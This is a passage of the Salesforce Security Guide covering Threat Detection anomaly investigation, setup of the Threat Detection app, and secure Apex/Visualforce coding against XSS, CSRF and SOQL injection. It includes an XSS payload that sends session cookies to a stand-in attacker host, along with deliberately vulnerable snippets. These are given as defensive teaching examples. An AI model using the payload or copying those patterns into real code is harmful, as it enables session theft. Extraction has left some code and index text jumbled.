Generally, a score of 90 indicates that the user's report generation activity is about 3 standard deviations away from the user's typical
activity. The critical threshold also controls the tradeoff between false positives and false negatives. A low critical threshold marks more
events as anomalies, which result in a higher number of false alarms (false positives) but fewer missed anomalies (false negatives). A
high critical threshold results in fewer false alarms but more false negatives.
331
Salesforce Security Guide Threat Detection
Let’s look at the SecurityEventData field a bit more closely because it contains the contributing factors that triggered this
anomaly detection. Here’s sample data:
[
{
"featureName": "rowCount",
"featureValue": "1937568",
"featureContribution": “95.00 %"
},
{
"featureName": "autonomousSystem",
"featureValue": "Bigleaf Networks, Inc.",
"featureContribution": “1.62 %"
},
{
"featureName": "dayOfWeek",
"featureValue": "Sunday",
"featureContribution": “1.42 %"
},
{
332
Salesforce Security Guide Threat Detection
"featureName": "userAgent",
"featureValue": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/76.0.3809.132 Safari/537.36}",
"featureContribution": “1.21 %"
},
{
"featureName": "periodOfDay",
"featureValue": “Evening”,
"featureContribution": “.09 %"
},
{
"featureName": "averageRowSize",
"featureValue": "744",
"featureContribution": “0.08 %"
},
{
"featureName": "screenResolution",
"featureValue": "900x1440",
"featureContribution": “0.07 %"
}
]
The feature that contributed the most (95.00%) to this anomaly detection was rowCount with a value of 1937568. The feature indicates
that the user viewed or exported a report that had 1,937,568 rows. But based on historical data, the user rarely views or exports so much
data. The other features contributed much less to the score. For example, the user executed the report on Sunday, but this feature
contributed only 1.42% to the overall score.
Now that you have the data, you can investigate further.
SEE ALSO:
Training and Inference Steps
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent
333
Salesforce Security Guide Threat Detection
Field: ReportAnomalyEvent.EventDate
Use contributing factors as a guide.
The contributing factors JSON output shows the list of features on page 329 in descending order of contribution. As you start your
investigation into the event logs, keep an eye out for the top contributing features. If these features look unusual, they can provide
more evidence that confirms the anomaly or even indicate a possible data breach.
Field: ReportAnomalyEvent.SecurityEventData
Consider the anomaly in the context of the user's typical behavior.
Using the ReportAnomalyEvent field values, try to determine whether the user activity within the detection event is typical for the
user. For example, consider if it's typical for a user to generate a report from the IP address provided.
Field: ReportAnomalyEvent.SourceIp
Consider the size of the report.
We consider the size of the report to determine if the report generation was anomalous. A user generating a larger report than usual
can indicate an unauthorized data export attempt. For example, an attacker obtained unauthorized access to the user's account and
exfiltrate as much data as possible before losing access. Alternatively, it could mean that a disgruntled employee is exfiltrating data
for use beyond the needs of the employer.
Field: ReportAnomalyEvent.SecurityEventData (specifically the rowCount feature name)
Not all anomalies are malicious.
While some anomalies can indicate a malicious intent, other anomalies can be legitimate but unusual. Our detection model can
produce detection events that are unusual but not malicious. For example, if an employee gets promoted to a new role and starts
generating larger reports, our model can flag this behavior as anomalous.
SEE ALSO:
Training and Inference Steps
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent
334
Salesforce Security Guide Threat Detection
Report 00OD0000001leVCMAY
dayOfWeek 0 25.6%
numberColumns 12 12.5%
numberFilters 11 1.04%
Alia notices that this report had approximately 17k rows generated on a Sunday. She decides to investigate further. Using the UserId
field value, Alia identifies Jason as the user. She then looks through Jason’s past report generation activity using the ReportEvent event.
She notices that Jason, a sales data analyst, generates reports of varying sizes, ranging from just a handful of rows to 20k rows. Alia also
notices that Jason often accompanies his manager on road shows, which often involves working Sundays and nights.
Alia concludes that this detection event wasn’t anomalous because the report generation activity is well within Jason's typical activity.
SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent
335
Salesforce Security Guide Threat Detection
userAgent - 30.23%
browserCodecs - 2.33%
acceptedLanguages - 2.19%
Tony notices that the rowCount feature is a bit high for their org. The second-ranking feature is userAgent with a feature contribution
of around 30%. This percentage indicates that this user agent is not common for their org. Tony investigates further and finds Rob with
the UserId field. Tony notices that Rob is a relatively new employee. By looking at the ReportEvent events, Tony notices that Rob
occasionally generates reports of 46k rows. Because Rob is a relatively new employee, Tony can’t be certain whether this report matches
Rob’s typical activity pattern.
Tony concludes that this detection is possibly nomalous, although he doesn’t take any threat mitigation actions now.
SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent
336
Salesforce Security Guide Threat Detection
Report 00OD0000001leVCMAY
userAgent - 9.9%
numberFilters 11 0.81%
Bob notices that the autonomous system—derived from the IP address—is the top-ranked feature with 73.4% feature contribution.
This percentage indicates that Alice rarely uses this autonomous system. Bob also notices that the report has around 50k rows, which is
not small for this org. Bob then uses the UserId to identify the user as Alice. By looking at the ReportEvent events, Bob notices that Alice
typically generates reports containing 1,000–10,000 rows. But on rare occasions, Alice generated reports with more than 50k rows. The
userAgent has a smaller feature contribution, which could be attributed to Alice using her mobile device less when she travels. The
numberFilters and periodOfDay features have small feature contributions, and are therefore not important.
Because Alice rarely uses this autonomous system and the report is bigger than what Alice typically generates, Bob concludes that this
report falls outside of typical activity. However, Bob is unable to verify whether Alice or an attacker committed this malicious act. He
attempts to get more information on this incident before pursuing any threat mitigation actions.
SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent
337
Salesforce Security Guide Threat Detection
UserId 00530000009M943
Report 00OD0000001leVCMAY
userAgent - 0.02%
Kate starts an investigation to dig deeper. She uses the UserId to determine that the report was downloaded using John’s account. She
then searches the ReportEvent events for John and notices that he generates weekly reports, but they contain only 500–1,000 rows. The
table shows that rowCount contributes nearly 100% to this anomaly. This feature contribution value is a numerical value that indicates
the importance of rowCount in flagging this report generation activity as an anomaly. Because John has a consistent history of generating
small reports (500–1,000 rows), a report with a million rows is a noticeable departure from that trend. This fact generates the high feature
contribution value.
Upon further investigation, Kate discovers that John’s account was hacked and the attacker escalated John’s access privileges to access
data for the entire sales team. As a result, the report contained sales leads for the entire sales team instead of only the sales leads assigned
to John.
Kate concludes that this detection event is malicious and takes further threat mitigation actions.
SEE ALSO:
Platform Events Developer Guide: ReportAnomalyEvent
Platform Events Developer Guide: ReportEvent
338
Salesforce Security Guide Threat Detection
API Anomaly
An anomaly is any user activity that is sufficiently different from the historical activity of the same
EDITIONS
user. We use the metadata in Salesforce Core application logs about API generation and surrounding
activities to build a baseline model of the historical activity. We then compare any new API generation Available in: Salesforce
activity against this baseline to determine if the new activity is sufficiently different to be called an Classic and Lightning
anomaly. We don't look at the actual data that a user interacts with— we look at how the user Experience
interacts with the data.
Available in: Enterprise,
Unlimited, and Developer
Editions
Requires Salesforce Shield
or Salesforce Event
Monitoring add-on
subscriptions.
Make the Threat Detection App Visible to Users Available in: Enterprise,
Before you can view the Threat Detection events in Salesforce and provide feedback, you must Unlimited, and Developer
make the app visible to users. You also specify which of the four tabs are visible to different Editions
user profiles. Requires Salesforce Shield
View Events and Provide Feedback or Salesforce Event
Monitoring add-on
View recent or all Threat Detection events using the Threat Detection app in the Salesforce UI.
subscriptions.
The displayed events are stored in their corresponding storage objects:
ReportAnomalyEventStore, SessionHijackingEventStore, and CredentialStuffingEventStore.
Associate a feedback object with a particular event to record the severity of the threat, such as USER PERMISSIONS
Malicious or Not a Threat.
User Permissions Needed
To view the Threat Detection
events:
• View Threat Detection
Events
339
Salesforce Security Guide Threat Detection
2. Create a permission set that’s associated with the Salesforce license. Available in: Enterprise,
3. Edit the System Permissions page of your permission set and enable the View Threat Detection Unlimited, and Developer
Editions
Events permission.
Requires Salesforce Shield
4. Assign the permission set to the user who administers the Threat Detection app.
or Salesforce Event
Salesforce recommends that you create a profile specifically for security administrators who are Monitoring add-on
responsible for managing threat detections. For example, create a profile called Threat Detection subscriptions.
Administrator. Then assign the permission set to a user with the Threat Detection Administrator
profile.
USER PERMISSIONS
5. Edit the Tab Settings of each user profile that uses the Threat Detection app and specify the
visibility of the four tabs. The four tabs are named Report Anomaly Event Store, Session Hijacking User Permissions Needed
Event Store, Credential Stuffing Event Store, and Threat Detection Feedback.
To view the Threat Detection
For example, system administrators usually access everything in the UI, so set the visibility of events:
all four tabs to Default On for the System Administrator profile. If you created a Threat Detection • View Threat Detection
Administrator profile, set the same visibility. If you don’t want standard users to view feedback, Events
set the visibility of Threat Detection Feedback for the Standard User profile to Tab Hidden.
6. In Setup, navigate to the Lightning Experience App Manager by entering App Manager in
the quick search box.
7. Edit the Threat Detection app by selecting Edit in the dropdown box to the right of the app.
8. In the Assign to Profiles section, select the profiles for which the Threat Detection app is visible.
340
Salesforce Security Guide Threat Detection
SEE ALSO:
Salesforce Help: Monitor Streaming Events with Event Manager
Salesforce Help: Permission Sets
Salesforce Help: App and System Settings in Permission Sets
Salesforce Help: View and Edit Tab Settings in Permission Sets and Profiles
USER PERMISSIONS
4. Click Provide Feedback to specify whether a specific detected threat is Malicious, Suspicious, Not a Threat, or Unknown.
You can associate only one feedback object with each event. If you try to provide more than one feedback object, you get an error.
If the severity of a threat changes after you provided feedback, edit the response.
341
Salesforce Security Guide Security Guidelines for Apex and Visualforce Development
SEE ALSO:
Platform Events Developer Guide: Real-Time Event Monitoring Objects
342
Salesforce Security Guide Cross-Site Scripting (XSS)
For example, assume the following script is included in a Lightning Platform page using a script component, an on* event, or a
Visualforce page.
<script>var foo = '{!$CurrentPage.parameters.userparam}';script>var foo =
'{!$CurrentPage.parameters.userparam}';</script>
This script block inserts the value of the user-supplied userparam onto the page. The attacker can then enter the following value for
userparam:
1';document.location='http://www.attacker.com/cgi-bin/cookie.cgi?'%2Bdocument.cookie;var%20foo='2
In this case, all of the cookies for the current page are sent to www.attacker.com as the query string in the request to the
cookie.cgi script. At this point, the attacker has the victim's session cookie and can connect to the Web application as if they were
the victim.
The attacker can post a malicious script using a Website or email. Web application users not only see the attacker's input, but their
browser can execute the attacker's script in a trusted context. With this ability, the attacker can perform a wide variety of attacks against
the victim. These range from simple actions, such as opening and closing windows, to more malicious attacks, such as stealing data or
session cookies, allowing an attacker full access to the victim's session.
For more information on this attack in general, see the following articles:
• http://www.owasp.org/index.php/Cross_Site_Scripting
• http://www.cgisecurity.com/xss-faq.html
• http://www.owasp.org/index.php/Testing_for_Cross_site_scripting
• http://www.google.com/search?q=cross-site+scripting
Within the Lightning Platform there are several anti-XSS defenses in place. For example, Salesforce has implemented filters that screen
out harmful characters in most output methods. For the developer using standard classes and output methods, the threats of XSS flaws
have been largely mitigated. However, the creative developer can still find ways to intentionally or accidentally bypass the default
controls. The following sections show where protection does and does not exist.
Existing Protection
All standard Visualforce components, which start with <apex>, have anti-XSS filters in place. For example, the following code is normally
vulnerable to an XSS attack because it takes user-supplied input and outputs it directly back to the user, but the <apex:outputText>
tag is XSS-safe. All characters that appear to be HTML tags are converted to their literal form. For example, the < character is converted
to < so that a literal < displays on the user's screen.
<apex:outputText>
{!$CurrentPage.parameters.userInput}
</apex:outputText>
343
Salesforce Security Guide Formula Tags
<apex:includeScript>
The <apex:includeScript> Visualforce component allows you to include a custom script on the page. In these cases, be
very careful to validate that the content is safe and does not include user-supplied data. For example, the following snippet is
extremely vulnerable because it includes user-supplied input as the value of the script text. The value provided by the tag is a URL
to the JavaScript to include. If an attacker can supply arbitrary data to this parameter (as in the example below), they can potentially
direct the victim to include any JavaScript file from any other website.
<apex:includeScript value="{!$CurrentPage.parameters.userInput}" />
Formula Tags
The general syntax of these tags is:{!FUNCTION()} or {!$OBJECT.ATTRIBUTE}. For example, if a developer wanted to include
a user's session ID in a link, they could create the link using the following syntax:
<a
href="http://partner.domain.com/integration/?sid={!$Api.Session_ID}&server={!$Api.Partner_Server_URL_130}">
Go to portal</a>
Formula expressions can be function calls or include information about platform objects, a user's environment, system environment,
and the request environment. An important feature of these expressions is that data is not escaped during rendering. Since expressions
are rendered on the server, it is not possible to escape rendered data on the client using JavaScript or other client-side technology. This
can lead to potentially dangerous situations if the formula expression references non-system data (that is potentially hostile or editable
data) and the expression itself is not wrapped in a function to escape the output during rendering. A common vulnerability is created
by the use of the {!$Request.*} expression to access request parameters.
<html>
<head>
<title>{!$Request.title}</title>
</head>
<body>Hello world!</body>
</html>
344
Salesforce Security Guide Cross-Site Request Forgery (CSRF)
Unfortunately, the unescaped {!$Request.title} tag also results in a cross-site scripting vulnerability. For example, the request:
http://example.com/demo/hello.html?title=Adios%3C%2Ftitle%3E%3Cscript%3Ealert('xss')%3C%2Fscript%3E
The standard mechanism to do server-side escaping is through the use of the SUBSTITUTE() formula tag. Given the placement of
the {!$Request.*} expression in the example, the above attack can be prevented by using the following nested SUBSTITUTE()
calls.
<html>
<head>
<title>{! SUBSTITUTE(SUBSTITUTE($Request.title,"<","<"),">",">")}</title>
</head>
<body>Hello world!</body>
</html>
Depending on the placement of the tag and usage of the data, both the characters needing escaping, as well as their escaped counterparts,
can vary. For instance, this statement:
<script>var ret = "{!$Request.retURL}";script>var ret = "{!$Request.retURL}";</script>
requires that the double quote character be escaped with its URL encoded equivalent of %22 instead of the HTML escaped ", since it is
probably going to be used in a link. Otherwise, the request:
http://example.com/demo/redirect.html?retURL= foo%22%3Balert('xss')%3B%2F%2F
results in:
<script>var ret = "foo";alert('xss');//";</script>
Additionally, the ret variable might need additional client-side escaping later in the page if it is used in a way which can cause included
HTML control characters to be interpreted.
Formula tags can also be used to include platform object data. Although the data is taken directly from the user's organization, it must
still be escaped before use to prevent users from executing code in the context of other users (potentially those with higher privilege
levels). While these types of attacks must be performed by users within the same organization, they undermine the organization's user
roles and reduce the integrity of auditing records. Additionally, many organizations contain data which has been imported from external
sources and might not have been screened for malicious content.
In other words, the attacker's page contains a URL that performs an action on your website. If the user is still logged into your Web page
when they visit the attacker's Web page, the URL is retrieved and the actions performed. This attack succeeds because the user is still
345
Salesforce Security Guide SOQL Injection
authenticated to your Web page. This is a very simple example and the attacker can get more creative by using scripts to generate the
callback request or even use CSRF attacks against your AJAX methods.
For more information and traditional defenses, see the following articles:
• http://www.owasp.org/index.php/Cross-Site_Request_Forgery
• http://www.cgisecurity.com/csrf-faq.html
• http://shiflett.org/articles/cross-site-request-forgeries
Within the Lightning Platform, Salesforce has implemented an anti-CSRF token to prevent this attack. Every page includes a random
string of characters as a hidden form field. Upon the next page load, the application checks the validity of this string of characters and
does not execute the command unless the value matches the expected value. This feature protects you when using all of the standard
controllers and methods.
Here again, the developer might bypass the built-in defenses without realizing the risk. For example, suppose you have a custom controller
where you take the object ID as an input parameter, then use that input parameter in a SOQL call. Consider the following code snippet.
<apex:page controller="myClass" action="{!init}"</apex:page>
In this case, the developer has unknowingly bypassed the anti-CSRF controls by developing their own action method. The id parameter
is read and used in the code. The anti-CSRF token is never read or validated. An attacker Web page might have sent the user to this page
using a CSRF attack and provided any value they wish for the id parameter.
There are no built-in defenses for situations like this and developers should be cautious about writing pages that take action based upon
a user-supplied parameter like the id variable in the preceding example. A possible work-around is to insert an intermediate confirmation
page before taking the action, to make sure the user intended to call the page. Other suggestions include shortening the idle session
timeout for the organization and educating users to log out of their active session and not use their browser to visit other sites while
authenticated.
Because of Salesforce’s built-in defense against CSRF, your users might encounter an error when they have multiple Salesforce login
pages open. If the user logs in to Salesforce in one tab and then attempts to log in to the other, they see an error, "The page you submitted
was invalid for your session". Users can successfully log in by refreshing the login page or attempting to log in a second time.
SOQL Injection
In other programming languages, the previous flaw is known as SQL injection. Apex does not use SQL, but uses its own database query
language, SOQL. SOQL is much simpler and more limited in functionality than SQL. Therefore, the risks are much lower for SOQL injection
than for SQL injection, but the attacks are nearly identical to traditional SQL injection. In summary SQL/SOQL injection involves taking
user-supplied input and using those values in a dynamic SOQL query. If the input is not validated, it can include SOQL commands that
effectively modify the SOQL statement and trick the application into performing unintended commands.
For more information on SQL Injection attacks see:
• http://www.owasp.org/index.php/SQL_injection
• http://www.owasp.org/index.php/Blind_SQL_Injection
• http://www.owasp.org/index.php/Guide_to_SQL_Injection
346
Salesforce Security Guide SOQL Injection
• http://www.google.com/search?q=sql+injection
This is a very simple example but illustrates the logic. The code is intended to search for contacts that have not been deleted. The user
provides one input value called name. The value can be anything provided by the user and it is never validated. The SOQL query is built
dynamically and then executed with the Database.query method. If the user provides a legitimate value, the statement executes
as expected:
// User supplied value: name = Bob
// Query string
SELECT Id FROM Contact WHERE (IsDeleted = false and Name like '%Bob%')
Now the results show all contacts, not just the non-deleted ones. A SOQL Injection flaw can be used to modify the intended logic of any
vulnerable query.
347
Salesforce Security Guide Data Access Control
If you must use dynamic SOQL, use the escapeSingleQuotes method to sanitize user-supplied input. This method adds the
escape character (\) to all single quotation marks in a string that is passed in from a user. The method ensures that all single quotation
marks are treated as enclosing strings, instead of database commands.
In this case, all contact records are searched, even if the user currently logged in would not normally have permission to view these
records. The solution is to use the qualifying keywords with sharing when declaring the class:
public with sharing class customController {
. . .
}
The with sharing keyword directs the platform to use the security sharing permissions of the user currently logged in, rather than
granting full access to all records.
348
INDEX
customizations 215
A
Access D
about 82
data encryption 143–144, 152–153, 168–175, 216
revoking 83
data visibility 162
Administrative permissions 81
definitions 156, 202
apex 287
deploy 163
Apex classes 248, 281, 286
Desktop clients
api event 265
setting user access 15
App permissions 81
destroy key material 188, 190–191, 210
apps 231
deterministic encryption 177–179, 226
attachments 153, 172
Device
Auditing
lost device 63–64
fields 237
lost phone 63–64
Device activation 10
B disable encryption 177
background encryption 184–186, 188, 190
duplicate management 216
baseline 4
best practices for Shield Platform Encryption 220 E
Bring Your Own Key (BYOK) 161, 192–198, 200
Einstein Analytics 153, 175
encrypt Chatter 173
C encryption policy 143, 163, 168–173, 175, 177
Cache-Only Key 200–202, 204, 206, 208–212
encryption process 155, 158
Change Data Capture 153, 175
encryption statistics 184–186, 190
Chatter 153
Enhanced profile user interface
classic encryption 157
desktop client access 15
Communities
enhanced transaction security 276, 287
authentication 58
enhanced transaction security policy 297, 301–303, 308–311, 313,
security 58
319
compatibility 176
Event Bus 175
condition 265, 268, 270
Event Manager 253
Condition Builder 262, 265, 268, 270, 274, 276
examples 276
conditions 265, 268, 270
export key material 184
considerations 211, 219, 222, 226, 230–231
Cookies 7, 15 F
creating 245
Field Audit Trail 238
custom fields 152, 169–171
Field History 238
Custom objects
field limits 230
permissions 93
Field-level security
Custom permissions
permission sets 115
creating 97
profiles 115
editing 98
fields 144
enabling in permission sets 90
Fields
enabling in profiles 111
access 115
Custom views
auditing 237
permission sets 84
field-level security 115
349
Index
Fields (continued)
history 237
M
managed packages 171
tracking changes 237
masking 162
files 153, 172
matching rules 216
formulas 217
migrate 297, 301–303, 308–311, 313, 319
G Modify All permission 94–95
multi-factor authentication 61, 191
General permissions 81
Multi-factor authentication 10, 55, 58, 60, 63–64
Groups
member types 136
N
H named credential 206
nonce 208
health check 4
High assurance 39
History
O
Object permissions 93, 95
disabling field tracking 237
opt-out of key derivation 197
fields 237
Organization-wide sharing settings
I setting 141
user records 134
identity verification 60
Identity verification 37, 63–64
Inline editing
P
Page layouts
permission sets 85
assigning 103
K Password
Apex 64
key management 181–186, 188, 190–191, 194–196, 198, 204
change user 10, 55, 58
key material 166–167
identity confirmation 55, 64
key types 167
identity verification 10, 55, 58, 64
L login verification 10, 55, 58, 64
multi-factor authentication 10, 55, 58, 64
legacy 297, 301–303, 308–311, 313, 319
Passwords
Lightning Experience 230
change 9
Login
changing by user 61
failures 233
expire passwords 27
history 233
expiring 7, 15
hours, restricting 21
identity confirmation 61
IP address ranges, restricting 19–20
login verification 61
restricting 10, 16
policies 7, 15
login event 268, 270
reset passwords 27
Login Flow
Permission sets
connect 42
about 83
create 41
app permissions 81
overview 11, 40
assigned users 90
login verification 60
assigning to a single user 91
Logout events
assigning to multiple users 92
LogoutEventStream 259
editing 85
LogoutEventStream
list views, creating and editing 84
logout events 259
navigating 87
object permissions 93
350
Index
351
Index
single sign-on 9
Single sign-on
U
User permissions 81
authentication providers 58
User setup
overview 13
activate device 58
SAML 58
change password 10, 55, 58, 64
standard fields 168
change passwords 9
synchronize data 185, 188, 190
changing passwords 61
System permissions 81
verify identity 55, 63–64
T verifying identity 61
Users
Temporary verification code
access 82
verify identity 63–64
object permissions 93
tenant secret 166–167, 181–183
permission set assignments 90
terminology 156, 202
permission sets, assigning to multiple users 92
testing 287
permission sets, assigning to single user 91
threat detection 322, 332–338
permission sets, removing user assignments 92
transaction security 245, 248, 262, 265, 268, 270, 274, 281, 286
permissions 81–82
troubleshoot Bring Your Own Key 198
revoking access 83
troubleshoot Cache-Only Key 209, 212
revoking permissions 83
troubleshoot Shield Platform Encryption 176
trust 2
two-factor authentication 61, 191
V
validation service 176
Two-factor authentication 10, 55, 58, 60, 63–64
verification methods 61
View All permission 94–95
352